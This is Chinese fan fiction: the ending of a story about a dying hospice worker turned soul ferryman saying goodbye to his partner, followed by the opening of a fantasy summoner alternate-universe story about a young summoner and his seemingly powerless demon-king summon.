维克托没有回头,他只是沉默地望着黑暗平静的海面,脸上的泪痕仍未干透。
“我明白您为什么会选择我做灵魂摆渡者了。”很久之后他才开口,声音像是从遥远的另一个世界传来。
“我生前的工作是临终关怀,也就是陪伴病人离去之前,尽自己所能让他们能够舒服,开心,不留遗憾。我从幼时就带有的病症让我想要去帮助和我一样的人,至少能让他们感受到人性的温暖。”
“我接手过的病人不算多,即使他们最后都心怀感谢,我仍然会因为没有尽力而感到自责。随后病症发展的速度终于追上了我,以一种温柔但残酷的方式将我带离这个世界。而这里——这个地方,”他环视着四周,“更像是我自己内心世界的一种体现,其中所有的景象都是以我心目中最美好的方式而体现,而并非真实的灵魂领域。”
“虚与实的界限在此处没有分别。”迦娜的眼中依然带着哀伤,“凭你自己的感觉所思,眼中的世界便是真实的。”
“或许吧。”维克托耸耸肩,“我想您之所以选中我,也是因为我生前的身份,让我能够在离去前弥补自身的遗憾。”他转过身,含泪笑对着风之女神,“所以那些灵魂的样貌才都是我生前接手过的病人,只不过这一次我才是那个需要陪伴的对象,通过他们和我的谈话让自己不再那么沉湎于失去的痛苦。”
“你对自己负担过于重了,维克托,”迦娜缓缓飘近,“在尘世之中,你是如此地善良,却又因为寡言少语的个性很难让他人发现你的美好。你又是幸运的,在饱经风霜的人生中能遇到一位真心爱你的伴侣,他愿意用余下的时光都用来铭记你的美好,即使是在这个世界里也可以感受到他的关切。所有这一切行迹我都无从干涉,他是凭借自己的意志让你感受到的。”
维克托当然知道。自从昨晚那一次近乎崩溃的发泄后,他体内的力量已经愈发弱小了,而作为他生前的最后一个病人的金克丝也早已离开,已经不会再有新的乘客登船,而内心也提醒着自己那个时刻在悄然临近。
“我就要死了,是吗?”他问道,声音里已经没有了回避死亡的恐惧,“您是来带我离开的吗?”
迦娜摇摇头:“灵魂摆渡者都必须靠自己前往永恒之门。我的存在仅仅是这个领域的象征,而我必须尊重所有灵魂的自主意志。但你是对的,你的时候到了。”现在连她飘渺的语气也变得悲伤,“我知道你已经尽全力反抗了命运,却不得不得到这样的结果。我很抱歉,孩子。”
维克托无力地扯了扯自己的嘴角。
“能再给我一天时间吗?最后一天?”两行清泪从他的眼眶中缓缓流下,“我死后留下的遗憾太多,再没有空隙去填补。但至少这次,我想和他好好道个别。”
迦娜微不可闻地叹了口气。
“当然可以,孩子。”
人们都说在知道自己大限将至后,人生的最后一天总是会无比漫长,但维克托却没有这种感觉。他只是像之前无数个在船上度过的普通日子一样,吹着海风漫无目的地驾驶,把之前的乘客住过的房间都好好打扫了一遍,还留下了注意事项,以便下一任灵魂摆渡者尽快上手。等把所有的一切都忙完后,他便抱着布里茨静静地坐在甲板上钓鱼,等待夜晚降临。
杰斯依旧是很早就出现了,他看上去已经从昨天的悲痛中恢复过来,正打算把这当成又一个平常的夜晚度过。维克托尽量不去想明天早上他得知自己死讯时的样子,开始习以为常地单方面和他对话。
“抱歉我昨天说了那些话,维。”杰斯充满歉意地说,“我果然做不到像你那么耐心,可能我永远都不擅长这类职业吧。”
“那当然了,你可受不了那么安静的场合。”
“我给你的病房里换了鲜花,是香水百合,虽然他们的味道没有甜奶那么强烈,但我想你会喜欢的。你以前就很喜欢在家里养各种植物。”
“我确实喜欢。不然的话病房里也太单调了。谢谢你这么用心。”
“还有你之前说过,不想在死的时候还满身都插着管子。所以我让医生们只留下了输液管,足以维持你的生命了。但如果你最终还是要离开的话......”维克托听出他又变得难过,不过杰斯很快就振作了起来,“我已经开始着手安排了。我会为你选一块最好的墓地,最温暖的衣服,用罂粟花装点。这一路上不会再有痛苦了,我保证。”
“一场小型葬礼,是吗?我希望那天是个晴天,这样你就算会流泪我也能看的一清二楚啦。”
杰斯又自顾自地说了很久的话,一直到深夜再也讲不动了,他的声音才慢慢消失。然而那金黄色花瓣组成的身形却留了下来。维克托猜测一定是他又私自睡在病房里了,心里无奈地叹气,还是有点像小孩子。
他等到周围完全安静了下来,连海浪的声音也听不见了,才站起身,手掌轻抚过金黄色的人形。
“你是肯定听不见我说话的,杰斯。”他摸摸他的头发,“但如果我有入梦的能力,你就把它当成是个美梦吧。”他拍拍他的肩膀,“我死后的世界是一个宁静的世界,这里没有烦恼和痛苦,也没有折磨我多年的病症,如果你也在这里,会很乐意留下来安度余生。”他捏捏他的鼻尖,“但我觉得你还是不要来这里了,至少得很久以后才来,不然你面对的就只是一望无际的大海和空旷的渡轮,身边没有人陪你说话,而你最耐不住寂寞了。”
他附身注视着他身上纷飞的花瓣:“我想以我们的关系,再说些感谢之类的话就有些过于客套了。但我还是要感谢你,让我平庸难熬的人生中有了快乐和希望,即使在你看来很短暂,但对我却是一生也无法偿还的恩情。”
“我一直觉得自己的身份过于平凡,也不指望能被谁铭记。是你让我明白还有人愿意关心我,喜爱我,让我带着平静的态度面对死亡。”
“我当然不想就这样离开你,谁会想无故抛弃自己所爱之人呢?可是这一次我不得不说抱歉了,抱歉我没能履行诺言,抱歉我缺席了你以后的人生。”他捧着杰斯的脸,将声音放低到耳语的程度,“但是我会一直在你身边的,未来的每一天都会,我会把你的样子记在心里,这样转世的时候就不至于认不出来了。”
“记得要听进去朋友和亲人们的劝告,让自己每天都过得开心充实一点,别让自己太孤单了。”他温柔地拥抱着那片金黄色的人体,“记得按时作息,多跟人交流,别总是想着我,你的时间还很长呢,全部都留给思念也太不值当了。”
“尽管我面对的死亡之后可能只是一片虚无,也没有来世的说法,但我还是要让你记住,”他在他额前轻轻落下一吻,“我对你的爱,亘古不变,至死不渝,直到永恒的尽头。”
“明天见,杰斯。”
通过永恒之门的道路一片寂静,维克托划着他来时的小船独自淌过水面,似乎这条路永无尽头。他原本是想和布里茨再说些什么的,但真到了踏上不归之路的时候,一切言语都显得贫瘠。这条寂静的水路中唯有小船划过的回响,在他的脑海中转变为时光的回廊,让他在自己短暂一生的道路中踽踽独行,逆流回到最初的地方。
他看见那扇大门越来越近,直至终于呈现在自己面前。维克托以为自己还会和来时那样抗拒死亡,可是现在他的内心却前所未有的平静。敞开的大门后是一片空白,他不知道门后究竟有什么,或许是转生的道路,或许只是虚无,但此刻一切都不再重要了。
“你害怕吗,布里茨?”他抱起小猫走下船,迈向那片永恒的空白。
死亡的感觉一点也不可怕。他以为会感到熟悉的疼痛席卷全身,可是越往前走,他心中的负担就在逐步消失。炫目的白光过于刺眼,维克托不得不闭上眼睛,感受着怀中小猫的存在。他能感到自己的身体在变轻,他的轮廓在淡去,好像要走进一个未知的美梦。他几乎快要失去形体,变成虚无的一部分。可布里茨在怀中的触感仍然真实,他的皮毛包裹着自己的胸口,温暖又柔软。
“我也不怕。”维克托微笑着说,“我和你在一起呢。”
32. 【众独】史上最强召唤师
qwq立秋
奇怪的脑洞又冒出来了
是和 @AZ 的口嗨,怎么这么多口嗨啊
ooc预警
奇怪的召唤师世界设定以及 土里土气的标题与称号以及 要素过多
以及 非常丢脸且草率的大纲流写法
全靠自己打的召唤师yjh×等级虚高召唤物花瓶魔王kdj
一天码完,我也是日更万选手了(
--------
这是一个魔幻的召唤师世界,人人都可以拥有召唤物。与自己的召唤物一同战斗,变强,得到“最强召唤师”的称号受万人景仰是每个人的梦想。至于破碎虚空,原地飞升那个就太过遥远了,至少对于现在的召唤师们来完全是一个虚无缥缈的传说罢了。
当然,和每个拥有类似设定的故事一样,每个人之间都有天赋的差异,有的人与自己绑定终身的召唤物只是可以放在花坛里松土的蚯蚓,有的则是更加强大而瑰丽的生物或者意识体——
“众赫,你的魔力是我见过的最高的,你一定可以召唤出最好的同伴。”
他的导师南宫敏英这样说,指引刘众赫去触碰作为召唤媒介的水晶球。当然,年轻的、被誉为天才的少年刘众赫也这样认为,他同样有着成为最强的召唤师的梦想。身为同辈中已知魔力最强的那个人,他毫无疑问会有最强大的召唤物。
他的手指放在了水晶球上,被魔力激发的热意几乎灼伤了他的手指。炫目的光芒自水晶球中绽放,他眯起眼睛,认真地看着自己的召唤物出生的场景。
在庞大的魔力潮之后,即使表情仍然平静,刘众赫的心情不由得有些激动。一旁的屏幕上显示出了能量评级——sss,毫无疑问的,是最高的那一档。甚至仅靠魔力的储量就能超过已知的所有召唤物,甚至通过联网将一个新出茅庐的召唤师的名字送上了排行榜的第一名。
光芒褪去了,繁复的召唤阵上出现了一个人影。
人型召唤物,极有可能拥有自己的思维。让人性的召唤物完全听从自己的命令去战斗可能有点困难,但是刘众赫有信心,他可以收服任何一个同伴。魔力耗尽的后遗症让刘众赫的心跳加快,眼前也有点发黑,他还是迫不及待地看向自己的新同伴了。
一般来说,人型召唤物往往会是天使、精灵、兽人这一类拥有特殊天赋的生物。但是他们也是被召唤出来的,没有召唤以前的经历,可能是一个能够与召唤师一同长大变强的稚嫩同伴,也有可能一出生就是极为强大的存在。
但是——
那里只站着一个面色苍白的成年男性人类,表情有些茫然。打量了一圈四周的场景之后才注意到法阵外只有自己胸口高的召唤师。这个人很快反应了过来,身为召唤物的本能让他说出了应有的台词:
“你就是我的召唤师吗?”
似乎是意识到了召唤师空白的表情,这个人表情有点羞赧:“我是金独子,是你的召唤物。”
他的召唤物甚至还有个自己的名字。
金独子。
刘众赫咀嚼着这个名字,然后魔力被彻底耗尽晕了过去。
-
金独子知道自己是一个召唤物。好吧,就是那种,在某个神秘的空间里沉睡着,然后直到灵魂上有联系的那个人进行召唤,将召唤物从那个神秘空间中拉到现实中的那种召唤物。召唤物没有过往的记忆,成为召唤物的那一刻就是他们的新生。
召唤物一般会将召唤自己的召唤师视作主人,但是偶尔也有比较桀骜不驯或者太过强大的召唤物不愿意与召唤师绑定,这时候就会发生反噬的情况。当然,到召唤师成年的十八岁前,世界意识会有一个新手保护期,也就是这个期间召唤物无法伤害自己的召唤师,也无法与召唤师解除绑定。
虽然没有记忆,但是金独子有自己的名字。他看着扶着自己的召唤师神色有些紧张的女人,有一种微妙的熟悉感。
“你是他的召唤物?”女人似乎确认了新手召唤师没有什么危险,才抬头对他说话,“我是他的导师,现在我需要先把他带回去休息,你也跟上。”
“好的。”
金独子举起双手,他本来就没有半点反抗的意图。召唤物和召唤师之间会有灵魂层面上的链接,他从中翻阅到了一些来自召唤师的记忆,比如,这个世界的信息,以及召唤师本人,召唤师的名字——“刘众赫”——让金独子有种奇怪的感觉。
他也知道了这个导师的名字,南宫敏英,召唤物是一条破天犬,评级是A,被她取名为“大师”。金独子搜索了一下记忆,发现自己可能连狗都打不过。
但是他是最好的SSS级。
金独子默默地跟在两人身后,突然有点无所适从。导师安置好了自己的弟子,终于有空来处理他这个弟子的召唤物同伴。他又被领到了一个道场里,看起来有点破败,但是很干净。
“用这个,我要知道你的种族还有能力。”她丢给金独子一块石头,金独子在握住它,感觉自己似乎被从上到下扫描了一遍。
【种族:恶魔/人类/■■■(已隐藏)】
【能力评级:SSS】
【技能:■■■■■■(已隐藏)】
“你是个恶魔?”
“啊……?”金独子有点茫然。
他突然想起了什么,就像是有一个东西在自己的心脏处轻轻跳动。身为一个召唤物,他应该有特殊的技能或者战斗能力。
【技能“魔王化形”已激活】
一股强大的力量在他身体里流窜着,金独子找回了一点熟悉的感觉。他的额头有些刺痛,后背发痒。他引导着力量离开身体,就像是多长了四肢一样,有什么东西从他的额头上长了出来,然后柔软的黑羽从背后拢起——金独子扭头,他看见了一对漂亮的羽翼。
他头上长得原来是恶魔角吗?金独子好奇地摸了一下,和他想象的不同,他的角虽然是硬质的,但是有触感,甚至敏锐到能够清晰感知他的手心温度。
【无法匹配已有种类】
【故事融合中……】
【种类已录入:救赎的魔王(唯一)】
唯一是指不会再出现第二个同样的召唤物,但是因为召唤物本身与召唤师有关系,而世界上很少有两个一模一样的人,所以召唤物重复的情况本身也极为少见。
“魔王?感觉很厉害的样子……”南宫导师摸了一下下巴,若有所思地说,“你的战斗方式是什么?魔法?还是体术?”
金独子眨了眨眼,站在原地。他真的不知道如何战斗。
“你不知道?”
魔王纯良地点头:“我的记忆中只有变身的技能。”
南宫导师的表情有些一言难尽。她指向了旁边的测力计,示意金独子打一拳上去,结果这个魔王一拳成功地让自己的指关节发出了清脆的响声,只能强忍着眼泪努力往手指上吹气。
“……你真是——”南宫导师不知道自己还可以说什么,这个召唤物除了有一幅魔王的外表外,其他和一个普通的瘦弱成年人没有什么区别。
“可以飞吗?”
金独子试着扇动翅膀,他飞起来了。这个感觉很奇妙,毕竟按照气动力学,他把翅膀扇得再快也没有什么用。
“可以喷火吗?”
飞起来的魔王苦恼地皱眉,过了一会儿才令人失望地摇摇头。
“剑术呢?”
她丢过来一把剑,金独子握住,感觉很熟悉,但是没挥两下就被南宫导师轻易地格挡脱手。
“魔法呢?你有这么强的魔力,能够使用魔法吗?”
这个世界有魔力的存在,但是人类只能用它来加强自己的身体素质,只有某些召唤物才能使用魔法的技能,类似于“天降火雨”和“绝对零度”之类的富有杀伤力的外放技能。
但是魔王对着空气比划了半天,什么也没有比划出来。
“……增益性的能力呢?治疗什么的。”
金独子茫然地盯着他自己的双手看,但是没有任何有关技能的印象。他什么也不会。
南宫导师几乎为此叹了一口气,她的弟子确实很天才,但是召唤出来的这个……嗯,魔王,看起来似乎是一个废物。空有强大的魔力,但是没有配套的技能,甚至无法用来加强自己的身体。
金独子看见了导师脸上的失望之情。
他突然有些慌乱,如果自己没有用的话,是不是会被赶出去?作为一个没有能力的召唤物,只有被杀死才能为召唤师空出一个新的召唤位。而有些对自己的召唤物不满意的召唤师,往往会杀死自己的召唤物,然后去黑市购买一些单独的魔兽与之强行建立灵魂链接。
只要有渠道和财力,什么样的召唤物都可以替换,在这个世界里甚至真的有人捕捉了龙这种强大的生物作为召唤物。至少,比起一个徒有其表的魔王,对刘众赫来说连路边的狗都要更合适一点。
至少,非顶级的召唤物还有进化的可能。而身为SSS级的他甚至连锻炼都无法增强自己无法掰腕子掰过一条狗的体质。
金独子想得很开。对他来说短暂地来到一个世界并且见到刘众赫已经很好了,所以,他不能还奢求——
他和失望的南宫导师回到了房间里,魔力耗尽的小召唤师昏睡在床上。金独子能够通过灵魂链接得知,仅仅是自己的存在就消耗了刘众赫的几乎全部魔力。他跪在简陋的矮床旁边,抬起刘众赫的手放在自己的额头上。
对于每个召唤物来说,召唤师都是最重要的。
【星痕“牺牲意志”Lv.???已激活】
“喂!你在做……”
他没能听完南宫导师最后的话,喉间一甜,在陷入黑暗之前终于看见了刘众赫缓缓睁开的黑色的眼睛。
啊,儿童时期的主角也这么可爱,真不愧是……
-
记忆的碎片出现得很快,并且消失得更快。金独子很快就忘了自己曾经想起来过什么,对他来说——或者对一个被召唤出来的生物来说,一切都以召唤师为重。但是无论是十岁的召唤师,还是已经负有盛名的“破天剑圣”,都没有杀死一个无辜且有意识的生物的想法。
在接下来的相处中,他和刘众赫之间的生疏很快因为灵魂链接而消除。而且,在为了成为一名合格的召唤师的训练中,刘众赫的表现几乎令金独子感到羞愧。
这个十岁的少年很快就从自己的召唤物是个虚有其表的废物的事实中摆脱出来,跟着南宫导师每天刻苦地修炼剑术。而刘众赫毫无疑问地会是这个世界上的主角,他有着所有方面的天赋,甚至除了剑术上的修炼以外,在金独子炸掉两次厨房并且做出了一堆黑暗料理之后,他也代替自己无用的召唤物成为了厨师。
“众赫,让我来吧。”
金独子想要接过刘众赫手里的抹布,后者刚刚被自己的导师指派去清理道场。
“不,这不是一个召唤物应该做的工作。”
召唤物应该是战斗中的主力才对,但是金独子并不是。
最早的时候经常有人来挑战刘众赫,为了脸面大多是同辈的其他天才。拒绝的话毫无疑问是退缩畏惧的表现,而立志成为最强的召唤师的刘众赫当然不能这样做。
于是,金独子展开了他的魔王形态,表演出最邪恶的样子吓走了一批:他手持着燃烧着黑焰的长剑,张开巨大的羽翼居高临下地俯视着挑战者,发出“桀桀”的笑声假装自己是一个杀人如麻的变态;另外一批则由刘众赫自己打退,他已经掌握了破天剑术,以一敌二并不是特别困难的事情。金独子在后面冷冷用视线打量着挑战者,想着“我要杀了你”,成功地让那些以多欺少的挑战者脸色惨白,步伐紊乱,最后被刘众赫打败。
这可算不上作弊,毕竟二对一的优势更为明显。
不管怎么样,这种策略让金独子有了“最邪恶的魔王”的外号,连带着刘众赫也是一样被看做了恐怖的大boss的候选人。慕名而来挑战的人越来越多,金独子很难再吓退他们,而刘众赫跃跃欲试地将其看做一个挑战的机会。
至于为什么金独子在战斗中是无用的——
“金独子,给我关掉那个技能。”
面色有些苍白的魔王咽下了口腔里的血液,他激活了“牺牲意志”的星痕,但是刘众赫这小子一直不肯让他使用它。原因很简单,“牺牲意志”必须要怀有牺牲的想法才能启动,并且会消耗生命力,金独子可以一直坚持它,但是会维持在一个相对虚弱的身体状态。
金独子曾实验过这个唯一有用的技能,不是“魔王变形”那种徒有外表的花瓶技能。他在自己的手上割了一条伤口,然后是手腕,技能的增幅越来越强,就在金独子拿着水果刀准备给自己身上来一刀的时候,他被刘众赫发现了。生命越来越少,技能就越来越强,金独子这才明白“牺牲意志”的技能名的含义。
他很高兴地告诉刘众赫,但是召唤师只是阴沉着脸,警告他再也不要使用这个技能。
“但是——”
“不要让我再说一遍。”
金独子讪讪地取消了技能,现在是在比赛中,他不能打扰刘众赫。对面的那个短发女人指挥着召唤的黑龙向他们两人喷吐火焰,金独子俯冲了下去,抱着刘众赫勉强躲过了这一次攻击,然后将刘众赫丢在了龙背上。
作为他们对手的那个女召唤师,韩秀英,是个相当出名的新秀召唤师。她的召唤物,深渊黑焰龙,是除了徒有虚名的“救赎的魔王”以外排名最高的召唤物。同样拥有着SSS级的召唤物,韩秀英似乎一直很想挑战刘众赫,但是因为地区原因,直到现在才有机会在比赛中碰面。
“桀桀桀,就让本大爷的黑焰焚尽这世间最邪恶的魔王吧!”
黑龙一边口吐狂言,一边在韩秀英的叫骂下扭动身体想要将刘众赫甩下去。金独子拿着剑试图去骚扰韩秀英,但是这个女人露出了她缠着绷带的拳头,警惕的看着他。
“你不要以为我就是一个好欺负的弱女子,我也可以将你的头按进你的屁股里。”
不,显然不是。金独子对魔力也还是比较敏锐,他当然知道韩秀英的一拳几乎可以将他打飞,并且深深嵌进天花板里。
他从容地举起剑,似乎在做一个危险的邀请:“那就来吧。”
作为一个花瓶魔王,金独子靠自己掌握了另一个技能,那就是放出魔力来虚张声势。不管怎么样,他的行为都让韩秀英产生了警惕,她几乎一直提防着魔王,直到被刘众赫打击,被迫输掉了这场比赛。
“我甚至没有看见你出手!”韩秀英下台的时候还在对着他们怒吼,“你就是一个骗子,我会再来找你们的!”
实际上,因为刘众赫本身的强度已经超越了大部分召唤师与他们的召唤物,人们的视线早已从“救赎的魔王”身上逐渐转移到召唤师本身。虽然还有些人认为金独子才是刘众赫表现得如此强大的原因,但是魔王从来没有在公众面前出手过,一切也只能是推测。
无论如何,刘众赫成了一名强大的召唤师,而金独子一直处于召唤物排行榜的最顶层。没有人知道离开战场或者赛场的魔王就是一个有些瘦弱的普通人,连自己的召唤师的一根手指都掰不动。
-
“刘众赫,你可以出师了。”
从被说出这句话以后,刘众赫就带着自己的召唤物一同离开了破天道馆。破天剑圣是一个富有传奇色彩的召唤师,虽然她的召唤兽并不算强,但是通过后天的锻炼,她和她的“大师”都成了剑术的集大成者。刘众赫也走了强大自身的路线,他的召唤物几乎没有战斗力。
金独子学不会剑术,这是令魔王感到苦恼的事情。毕竟就算出门买菜这种事不仅魔王可以做,“大师”也可以。而且比起能够独立出门买菜的“大师”,金独子甚至还需要刘众赫的陪同,因为作为一个“强大”的召唤物,他在召唤师的身边才会得到足够的魔力供应。曾经有一次因为意外分开了很远的距离,等刘众赫慌忙找回魔王的时候,金独子已经恹恹地倒在路边了。
“金独子,你晚上想吃什么?”
“蛋炒饭吧,我不要番茄。”
刘众赫放下了手里专门用来恐吓金独子的番茄,露出了一个微不可见的笑容:“没有人会在蛋炒饭里面放番茄。”
“你这个翻车鱼混蛋,是在逗我吗?”
金独子完全想不起来“翻车鱼”这个外号是如何被安在了刘众赫的头上,这家伙很少输过,像个主角一样在赛场上遇神杀神,遇佛杀佛。至少,对于已经在地区上拥有“至高无上的国王”的称号的召唤师来说,距离所有人梦想的“最强召唤师”已经很近了。
有人说,只要成为了“最强召唤师”就有了召唤一切的资格,可以链接到“混沌海”——现在普遍对召唤物在被召唤以前所处的地方的称呼——的所有召唤物。金独子知道所谓的“混沌海”是什么,他告诉刘众赫:“那就是宇宙。”
“宇宙是什么?”刘众赫问。
金独子沉思了一会儿,回答道:“就是我被你召唤出来以前待的地方。”
刘众赫知道金独子比起其他的召唤物而言似乎多了一些记忆,但是他并不想深究。金独子在这里,因为召唤的链接而与他牢牢绑定,这就够了。在长达数十年的伪装、演戏、战斗与相处中,他已经认定了这一个同伴,没有丝毫更换召唤物的想法。
“就算我能召唤它们,我身边也只会有你。”
召唤师的召唤位只有一个,如果要链接其他的生物,那就务必会与金独子断开联系。刘众赫不想这样。
“众赫啊,我可以认为你这是在表白吗?”
刘众赫没有回答,只是又默默地拿起番茄。解除变形的魔王为此跳脚抱怨,在其他人眼中他们不是人型召唤物与召唤师的关系,而是一对关系亲密的人类伴侣。
-
在秘境冒险的时候也是如此。那个时候韩秀英已经加入了他们的队伍,还有召唤物是美人蛛的柳尚雅,以及非召唤师的雇佣兵李贤成和郑熙媛。
这个世界上所有人都可以召唤,但是召唤物也可以死亡。李贤成和郑熙媛就是遭遇了不幸的召唤师,在某次陷害的任务造成的失败之中,他们失去了召唤物。被金独子救下之后也放弃继续成为一名召唤师,而是成为了被雇佣的护卫一样的身份,说是要报答他的救命之恩。
本来刘众赫不想要再加入同伴了,但是考虑到他“柔弱不能自理”的召唤物,似乎加上几个保镖也不为过。
“所以,你真的没有战斗能力?”
金独子表情不算好看。自从在秘境中遇到并且同行后,作为同伴,了解彼此的情况也是最基本的合作条件。韩秀英知道他没有战斗方面的技能之后就天天围着他嘲笑,直到让金独子几乎无地自容到了想要直接回到刘众赫那里才肯罢休。
召唤物可以随时回到召唤师的精神里的,但是这感觉就像乌龟会缩回壳里一样,让金独子感觉有点别扭。因为不像其他体型庞大或者奇怪的召唤物,他收起技能和一个普通人完全一直,所以他和刘众赫几乎没有这样做过。除了某次受伤之后金独子还愤愤不平地想开启星痕,结果被刘众赫直接关了进去,出来后也仅仅闹了一个小时的别扭就被哄好了。
“是又怎么样?”他怒气冲冲地反问道,“就算我不算战斗力,刘众赫也可以一个打你们两个。”
“独子先生在其他方面很厉害的,毕竟整个秘境的计划都是独子先生做的。”
柳尚雅在旁边打圆场,韩秀英“哼”了一声便不再提起这事。金独子知道她其实没有恶意,毕竟韩秀英这个家伙为了取笑自己走得很近,反而有几次在秘境里救了他。
“马上就到神殿了,石像守卫有隐身的能力,大家小心一点。”
金独子转变了形态,魔王的翅膀从后背镂空的衣服里探出,这是刘众赫专门给他定制的衣服。他升上天空,果然看见了巨大的石质神殿,具体的大小与之前买到的地图有些差异,金独子从挎包里拿出地图,用笔标注了一下错误。
这些年来秘境的出现越来越多,但是这些会侵蚀现实的空间碎片只有在消灭最里面的核心之后才会消失。为了守护现实世界的和平,越来越多的召唤师需要肩负起清除秘境的责任。刘众赫的小队可以说是最强的一支,解决了大部分棘手的秘境,甚至效率比正统的军队还要高。
这一点也不奇怪,毕竟他们的小队中有最强的召唤师与召唤物,还有排名相当靠前的“黑焰女王”和“月光皇后”。但是因为奇怪的原因,他们的小队注册名字最后是“金独子公司”,而作为队长的刘众赫表示没有异议,于是最后也就这样敲定了下来。
有种很强的既视感。金独子想到,他漂浮在空中,俯视着小队成员抓住了第一个石像守卫并且把它敲得粉碎。
然后是潜入。
-
金独子握紧不折的信念,用得到的道具打开了场景内部建筑的封印。
他对着后面的同伴做了一个手势:我先进去,让李吉勇的虫子跟着我。
其他同伴都对这个安排表示不满,但是综合考虑下来星座确实是最适合的那一个。毕竟要从内部接触全部封印,只有对这个场景非常熟悉的人才做得到。金独子可以模糊了部分信息,以至于现在没有人敢说自己比金独子对这个场景更熟悉。
最后金独子还是潜行失败了,他被迫火力全开地直接冲到最里面打开封印,让其他同伴进来救他。最后被从怪物的尸体堆里面捞出来的时候金独子有种恍惚的感觉。刘众赫差点揍了他一顿,但是被其他人拦住了,以免公司代表被自己的同伴一拳捶死。
真是蠢透了。
但是刘众赫介于担忧和愤怒之间的表情让金独子印象深刻,他可以将前者埋在心里藏一辈子。
-
“金独子,从上面下来!”
“但是……我必须拿到那个核心——不然我们都出不去!”
金独子大声回答,石殿确实是秘境的中心,而且核心也确实在石殿里面,但是没有人会告诉他这个核心几乎在最高的位置上。当他们历经各种麻烦闯入了石殿的主殿时,这个巨大的建筑已经开始塌陷了。
唯一具有飞行能力的只有他和深渊黑炎龙,但是后者在先前的战斗中被砸断了翅膀,现在只能在地上跑跑跳跳,根本没有办法飞起来去拿到秘境的核心。于是金独子自告奋勇地去完成这件事。
但是,事情的发展超出了金独子的计划。
石块带着灰尘往下面砸落,金独子险之又险地在空隙之间穿梭,防身的武器在刚才就已经因为格挡石块已经掉落了。他在某次回头地时候突兀看见了地下空洞中的巨大瞳仁,恐惧让冷汗瞬间浸透了全身。
金独子意识到了什么。
他们是落入这个秘境里的猎物,秘境的核心就是诱饵。
但是因为视角问题,其他人并没有发现还有一个更恐怖的生物存在在这里。金独子打了一个寒颤,他也不能让其他人发现祂,否则他们一定会被团灭。
【星痕“牺牲意志”Lv.???激活】
“……金独子?”
刘众赫站在原地呆呆地看着天空,金独子已经很久没有用过这个会让他生气的技能了。地面
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突然开裂,与此同时,金独子抓到了场景的核心,穹顶彻底崩裂了,露出了建筑以外灰暗的天空。
“快走!”魔王在天空中对着所有的同伴大喊,“这里要塌了!”
巨大的秘境主宰从裂缝中爬出,星痕被激活到前所未有的强烈的地步。金独子被祂注意到了,他一直飞在空中,应当是被锁定的首个猎物。一些记忆在金独子的脑海中飞速地闪过,他的手有些颤抖,因为恐惧,更因为突然被解封的混乱的记忆。
他握住核心的晶体,它刚好是长条的,底端如同棱刺一样锋利。
【故事“无王世界之王”正在讲述】
【故事“魔界之春”正在讲述】
【故事……】
金独子突然意识到自己并不是一个无能的召唤物。他收拢翅膀,感受到力量正在身体内流动。他看见自己熟悉的同伴们在被堵在碎石之后,至少对于他们来说相对安全。韩秀英一边骂着一边敲飞身边的墙壁,黑焰龙努力地张开翅膀提供一个不算稳固的避难所;刘众赫似乎有些惊愕和慌张,他最后是被李贤成推开才躲过了正上方的碎石的……
然后魔王带着前所未有的气势从天空俯冲下来,故事在他的手中凝聚,在另外一个世界体系中继续讲述着他曾经的时间与历史。金独子很强,他是来自另一个世界的外神,他理应拥有着创造一个世界的能力,他可以对付这个秘境的怪物。
秘境主宰挣脱了地底的锁链——核心晶体是钥匙,金独子早该想到这一点,但是无所谓,他现在就会杀掉这个巨大的怪物。
先前的战斗中他的同伴都受了不少的伤,只有无能的魔王被从头保护到尾——现在该轮到他去保护他们了。
【技能“电气化”已启动】
无法承受概率的身体开始崩裂,但是金独子仍然死死盯着自己将要杀死的目标。
【……】
【星座“救赎的魔王”正在注视着秘境主宰】
突然出现在视觉中的弹窗让刚刚摆脱封印的秘境主宰瞳孔紧缩,然后魔王带着他全部的力量将封印的钥匙插入了巨大的眼球之中。
金独子知道,自己的力量可以轻易地杀了祂。
-
秘境被清除了,但是出来的所有幸存者都陷入了沉默之中。
“那是什么?”韩秀英扭头问某个召唤物的主人,“金独子真的有这么厉害吗?”
“我不知道。”
刘众赫看着街道平整的地面,他们回到了现实中,但是还是感觉到不真实。金独子在最后似乎变成了碎片,他不知道该怎么救他,只能将金独子放进自己的精神空间里休养。
“他还好吗?”
刘众赫终于抬头,像是回过神来,他也不知道。不知道金独子的状态,不知道金独子的身份,不知道金独子的故事,他召唤出来的同伴在刚才的秘境中变得非常陌生,却又让他感到非常熟悉。金独子安静地睡在他的精神空间里,就像永远也不会醒来一样,这让刘众赫感觉到恐慌。
名为“金独子公司”的秘境小队被解散了。
上一个秘境的丰功伟绩足以让这个小队的每个成员都逃脱后来局势恶化的强制服役,但是刘众赫没有躲起来,他参加了多次秘境,一直活到了最后,直到秘境的数量开始减退,而新的威胁出现在这个多灾多难的世界里。
时间过去了三年。
金独子从来没有醒来。
每一次濒临死亡与超越极限的战斗都会增加人的魔力,以及当南宫敏英对回到道馆的刘众赫说“我已经没有什么可以交给你了”的时候,刘众赫已经成为了毫无疑问的最强。他对比着自己与那个秘境的主宰的力量,意识到自己也有了能够对抗祂的能力。
但是秘境已经成为过去式了,现在这个世界正在遭受来自外神的灾难。这比前者更加糟糕。
入侵者自称是来自平行世界的人,为了一个目标而来。他们的首领是一个自称为“隐秘的谋略家”的外神,祂拥有着强大的力量,但是从来没有展示过自己的召唤物。
“我是一个召唤师,但是我还在找他。”
那个“他”所指的是谁,刘众赫心里隐隐有一个答案。作为这个世界上唯一与外神有一战之力的最强大的召唤师,他比其他人知道得更多。比如,外神的面纱下有一张和他一模一样的脸,再比如,就像他一样,虽然有与混沌海直接联系并且在里面随意挑选强大的召唤物的资格,但是在战斗中从来没有召唤物的参战。
但是时间不够,刘众赫对上这个外神仍然处于下风。在某一次彻底而糟糕的失败以后,外神终于向他的精神空间伸出了手。
“金独子是我的召唤物,你没有办法断开我和他之间的联系。”
“不,”外神似乎对此早有预料。
“你以为,同为‘刘众赫’的我们,为什么只有你有召唤物,而我没有。”
刘众赫想起了“救赎的魔王”后面的“唯一”二字,但是对于每一个世界线来说,那也不应该是唯一的。唯一性针对的是世界内部,事实上,对方能够跨越世界入侵这里已经超出了刘众赫的想象。他不知道外神究竟活了多少年。
“‘混沌海’就是宇宙,只要穿越宇宙,就能够跨越世界线。”外神轻蔑地笑了一声,“你猜我已经活了多少年了。”
“隐秘的谋略家”是一个没有召唤物的召唤师,他在十岁那年使用水晶的时候,什么也没有召唤出来,只有强大的魔力。但是这并没有阻止他的变强,在活了许多年之后,祂成为了外神,又过了许多年,祂观测到了一颗流星。
